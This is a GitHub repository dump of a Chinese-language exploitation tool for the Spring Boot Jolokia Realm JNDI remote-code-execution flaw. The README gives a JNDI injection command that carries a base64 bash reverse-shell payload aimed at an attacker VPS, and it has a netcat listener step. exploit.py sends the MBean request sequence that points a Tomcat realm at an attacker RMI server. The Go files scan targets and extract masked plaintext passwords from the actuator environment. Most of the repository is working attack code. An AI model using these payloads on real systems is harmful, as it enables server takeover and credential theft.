├── README.md ├── exploit.py ├── image ├── img.png ├── img1.png ├── img2.png └── img3.png ├── main.go └── poc └── readPasswd.go /README.md: -------------------------------------------------------------------------------- 1 | # jolokia_Realm_JNDI_RCE_Check 2 | 3 | jolokia Realm JNDI RCE 漏洞检测,并获取明文密码 4 | 5 | ![img](image/img.png)g 6 | 7 | 8 | 9 | #### 漏洞复现 10 | 11 | 12 | 13 | ``` 14 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -A "vps" 15 | ``` 16 | 17 | ![img1](image/img1.png) 18 | 19 | 20 | 21 | 修改 expliot 中的 url 和 rmi 地址 22 | 23 | ![img2](image/img2.png) 24 | 25 | 26 | 27 | nc 监听端口 28 | 29 | ![img3](image/img3.png) 30 | 31 | 32 | 33 | #### 参考文章 34 | 35 | https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce 36 | 37 | https://zhuanlan.zhihu.com/p/369853014 38 | 39 | https://r0yanx.com/tools/java_exec_encode/ 40 | 41 | https://github.com/welk1n/JNDI-Injection-Exploit 42 | 43 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding: utf-8 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt 4 | 5 | 6 | import requests 7 | 8 | 9 | url = 'https://192.168.23.132/actuator/jolokia' 10 | 11 | create_realm = { 12 | "mbean": "Tomcat:type=MBeanFactory", 13 | "type": "EXEC", 14 | "operation": "createJNDIRealm", 15 | "arguments": ["Tomcat:type=Engine"] 16 | } 17 | wirte_factory = { 18 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 19 | "type": "WRITE", 20 | "attribute": "contextFactory", 21 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 22 | } 23 | write_url = { 24 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 25 | "type": "WRITE", 26 | "attribute": "connectionURL", 27 | "value": "rmi://192.168.23.131:1099/v0496d" 28 | } 29 | stop = { 30 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 31 | "type": "EXEC", 32 | "operation": "stop", 33 | "arguments": [] 34 | } 35 | start = { 36 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 37 | "type": "EXEC", 38 | "operation": "start", 39 | "arguments": [] 40 | } 41 | flow = [create_realm, wirte_factory, write_url, stop, start] 42 | for i in flow: 43 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute')))) 44 | r = requests.post(url, json=i,verify=False) 45 | r.json() 46 | print(r.status_code) -------------------------------------------------------------------------------- /image/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check/3c23f5e898671df2f92ceb0749aac0a22175d84a/image/img.png -------------------------------------------------------------------------------- /image/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check/3c23f5e898671df2f92ceb0749aac0a22175d84a/image/img1.png -------------------------------------------------------------------------------- /image/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check/3c23f5e898671df2f92ceb0749aac0a22175d84a/image/img2.png -------------------------------------------------------------------------------- /image/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check/3c23f5e898671df2f92ceb0749aac0a22175d84a/image/img3.png -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "github.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check/poc" 7 | "io/ioutil" 8 | "log" 9 | "net/http" 10 | "regexp" 11 | "strings" 12 | ) 13 | 14 | //判断版本 15 | func getStatusCode(url string) int { 16 | // 忽略证书验证错误 17 | tlsConfig := &tls.Config{ 18 | InsecureSkipVerify: true, 19 | } 20 | transport := &http.Transport{ 21 | TLSClientConfig: tlsConfig, 22 | } 23 | 24 | client := &http.Client{ 25 | Transport: transport, 26 | } 27 | resp, err := client.Get(url) 28 | if err != nil { 29 | fmt.Printf("Error sending request to %s: %s\n", url, err) 30 | return -1 31 | } 32 | defer resp.Body.Close() 33 | return resp.StatusCode 34 | } 35 | 36 | func checkVul(url string) int { 37 | version1 := poc.RemoveTrailingSlash(url) + "/env" 38 | version2 := poc.RemoveTrailingSlash(url) + "/actuator/env" 39 | 40 | statusCode1 := getStatusCode(version1) 41 | statusCode2 := getStatusCode(version2) 42 | 43 | tlsConfig := &tls.Config{ 44 | InsecureSkipVerify: true, 45 | } 46 | transport := &http.Transport{ 47 | TLSClientConfig: tlsConfig, 48 | } 49 | 50 | client := &http.Client{ 51 | Transport: transport, 52 | } 53 | if statusCode1 == 200 { 54 | req, err := client.Get(version1) 55 | if err != nil { 56 | panic(err) 57 | } 58 | defer req.Body.Close() 59 | // 执行请求 60 | body, err := ioutil.ReadAll(req.Body) 61 | if err != nil { 62 | panic(err) 63 | } 64 | 65 | // 验证漏洞是否存在 66 | vulUrl := poc.RemoveTrailingSlash(url) + "/jolokia/list" 67 | req2, err := client.Get(vulUrl) 68 | if err != nil { 69 | panic(err) 70 | } 71 | defer req2.Body.Close() 72 | 73 | body2, err := ioutil.ReadAll(req2.Body) 74 | if err != nil { 75 | panic(err) 76 | } 77 | 78 | if req2.StatusCode == 200 && req.StatusCode == 200 { 79 | //验证漏洞是否存在 80 | if strings.Contains(string(body2), "type=MBeanFactory") && strings.Contains(string(body2), "createJNDIRealm") { 81 | log.Println("[+] 漏洞 jolokia-logback-JNDI-RCE 可能存在,请自行验证") 82 | } else { 83 | log.Println("[-] 漏洞 jolokia-logback-JNDI-RCE 不存在") 84 | } 85 | 86 | //查看java版本 87 | str := string(body) 88 | re := regexp.MustCompile(`"java\.runtime\.version":{"value":"(.*?)"}`) 89 | matches := re.FindAllStringSubmatch(str, -1) 90 | for _, submatches := range matches { 91 | log.Println("jdk版本:", submatches[1]) 92 | } 93 | 94 | } else { 95 | log.Println("[-]Error: 漏洞不存在或请求网络问题") 96 | } 97 | // 创建一个 GET 请求对象 98 | return 1 99 | } else if statusCode2 == 200 { 100 | req, err := client.Get(version2) 101 | if err != nil { 102 | panic(err) 103 | } 104 | defer req.Body.Close() 105 | // 执行请求 106 | body, err := ioutil.ReadAll(req.Body) 107 | if err != nil { 108 | panic(err) 109 | } 110 | 111 | // 验证漏洞是否存在 112 | vulUrl := poc.RemoveTrailingSlash(url) + "/actuator/jolokia/list" 113 | req2, err := client.Get(vulUrl) 114 | if err != nil { 115 | panic(err) 116 | } 117 | defer req2.Body.Close() 118 | 119 | body2, err := ioutil.ReadAll(req2.Body) 120 | if err != nil { 121 | panic(err) 122 | } 123 | 124 | if req2.StatusCode == 200 && req.StatusCode == 200 { 125 | //验证漏洞是否存在 126 | if strings.Contains(string(body2), "type=MBeanFactory") && strings.Contains(string(body2), "createJNDIRealm") { 127 | log.Println("[+] 漏洞 jolokia-logback-JNDI-RCE 存在") 128 | } else { 129 | log.Println("[-] 漏洞 jolokia-logback-JNDI-RCE 不存在") 130 | } 131 | 132 | //查看java版本 133 | str := string(body) 134 | re := regexp.MustCompile(`"java\.runtime\.version":{"value":"(.*?)"}`) 135 | matches := re.FindAllStringSubmatch(str, -1) 136 | for _, submatches := range matches { 137 | log.Println("jdk版本:", submatches[1]) 138 | } 139 | 140 | } else { 141 | log.Println("[-]Error: 漏洞不存在或请求网络问题") 142 | } 143 | return 2 144 | } 145 | return statusCode2 146 | } 147 | 148 | func main() { 149 | var url string 150 | fmt.Print("输入url: ") 151 | fmt.Scan(&url) 152 | poc.GetPasswd1(checkVul(url), url) 153 | } 154 | -------------------------------------------------------------------------------- /poc/readPasswd.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "encoding/json" 7 | "errors" 8 | "fmt" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | "regexp" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | // 处理url后的斜杠 18 | func RemoveTrailingSlash(url string) string { 19 | if strings.HasSuffix(url, "/") { 20 | return url[:len(url)-1] 21 | } 22 | 23 | return url 24 | } 25 | 26 | func getFields(url string) []string { 27 | mySlice := []string{} 28 | tlsConfig := &tls.Config{ 29 | InsecureSkipVerify: true, // 忽略证书验证错误 30 | } 31 | transport := &http.Transport{ 32 | TLSClientConfig: tlsConfig, 33 | } 34 | 35 | client := &http.Client{ 36 | Transport: transport, 37 | } 38 | 39 | // 创建一个 GET 请求对象 40 | info := RemoveTrailingSlash(url) + "/actuator/env" 41 | req, err := client.Get(info) 42 | if err != nil { 43 | panic(err) 44 | } 45 | defer req.Body.Close() 46 | 47 | // 执行请求 48 | body, err := ioutil.ReadAll(req.Body) 49 | if err != nil { 50 | panic(err) 51 | } 52 | 53 | // 匹配****前的字段 54 | re := regexp.MustCompile(`([^"]+)":{"value":"\*{6,}`) 55 | matches := re.FindAllStringSubmatch(string(body), -1) 56 | for _, v := range matches { 57 | mySlice = append(mySlice, v[1]) 58 | } 59 | 60 | return mySlice 61 | } 62 | 63 | func GetPasswd1(version int, url string) (string, error) { 64 | AttributeName := getFields(url) //密码属性名称 65 | 66 | mbean := []string{ 67 | "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager", 68 | "org.springframework.boot:name=SpringApplication,type=Admin", 69 | } 70 | //获取密码属性名 71 | done := false // 标记变量 72 | for _, mb := range mbean { 73 | if done { 74 | break // 如果已经退出,则跳过剩余的循环 75 | } 76 | //获取密码属性名 77 | for i := 0; i < len(AttributeName); i++ { 78 | if done { 79 | break // 如果已经退出,则跳过剩余的循环 80 | } 81 | springPayload := map[string]interface{}{ 82 | "mbean": mb, 83 | "operation": "getProperty", 84 | "type": "EXEC", 85 | "arguments": []string{AttributeName[i]}, 86 | } 87 | if version == 1 { 88 | payloadUrl := RemoveTrailingSlash(url) + "/jolokia" 89 | Status, err := getPasswd(payloadUrl, springPayload, AttributeName[i]) 90 | if err != nil { 91 | log.Println("failed to get password:", err) 92 | return "", err 93 | break 94 | } 95 | if Status == "404" { 96 | log.Println("password not found") 97 | return Status, err 98 | } 99 | 100 | // TODO: do something with the password... 101 | } else if version == 2 { 102 | payloadUrl := RemoveTrailingSlash(url) + "/actuator/jolokia" 103 | Status, err := getPasswd(payloadUrl, springPayload, AttributeName[i]) 104 | if err != nil { 105 | log.Println("failed to get password:", err) 106 | return "", err 107 | break 108 | } 109 | if Status == "404" { 110 | log.Println("password not found") 111 | return "", errors.New("password not found") 112 | done = true 113 | break // 设置标记变量并跳出循环 114 | } 115 | // TODO: do something with the password... 116 | } else { 117 | fmt.Println("error") 118 | return "", fmt.Errorf("unsupported version: %d", version) 119 | } 120 | } 121 | } 122 | return "", nil 123 | } 124 | 125 | func getPasswd(url string, springPayload map[string]interface{}, attributeName string) (string, error) { 126 | //跳过ssl认证 127 | client := &http.Client{ 128 | Timeout: 10 * time.Second, 129 | } 130 | //请求体 131 | requestBody, err := json.Marshal(springPayload) 132 | if err != nil { 133 | fmt.Println(err) 134 | return "", fmt.Errorf("Error:%v", err) 135 | } 136 | 137 | tr := &http.Transport{ 138 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 139 | } 140 | client.Transport = tr 141 | req, err := http.NewRequest("POST", url, bytes.NewBuffer(requestBody)) 142 | if err != nil { 143 | fmt.Println(err) 144 | return "", fmt.Errorf("Error:%v", err) 145 | } 146 | req.Header.Add("Content-Type", "application/json") 147 | res, err := client.Do(req) 148 | if err != nil { 149 | fmt.Println(err) 150 | return "", fmt.Errorf("Error:%v", err) 151 | } 152 | defer res.Body.Close() 153 | body, err := ioutil.ReadAll(res.Body) 154 | if err != nil { 155 | panic(err) 156 | } 157 | 158 | // 获取密码 159 | codeRe := regexp.MustCompile(`"status":(\d+)`) 160 | 161 | match := codeRe.FindStringSubmatch(string(body)) 162 | 163 | if len(match) > 1 && match[1] == "200" { 164 | passwdRe := regexp.MustCompile(`"value":.([^\"]+)`) 165 | password := passwdRe.FindStringSubmatch(string(body)) 166 | 167 | if password[1] == "ull," { 168 | log.Println("[-] 密码不存在或检查属性名是否正确 ") 169 | return "", nil 170 | } else { 171 | log.Println("[+] 属性", attributeName, "密码为:", password[1]) 172 | return match[1], nil 173 | } 174 | } else if len(match) > 1 && match[1] == "404" { 175 | log.Println("[-] 状态码: ", match[1], ",构造连或密码字段存在问题") 176 | return match[1], nil 177 | } else { 178 | fmt.Println("[-] 获取密码失败:", body) 179 | return "", fmt.Errorf("failed to get password for attribute %s: %s", attributeName, body) 180 | } 181 | } 182 | --------------------------------------------------------------------------------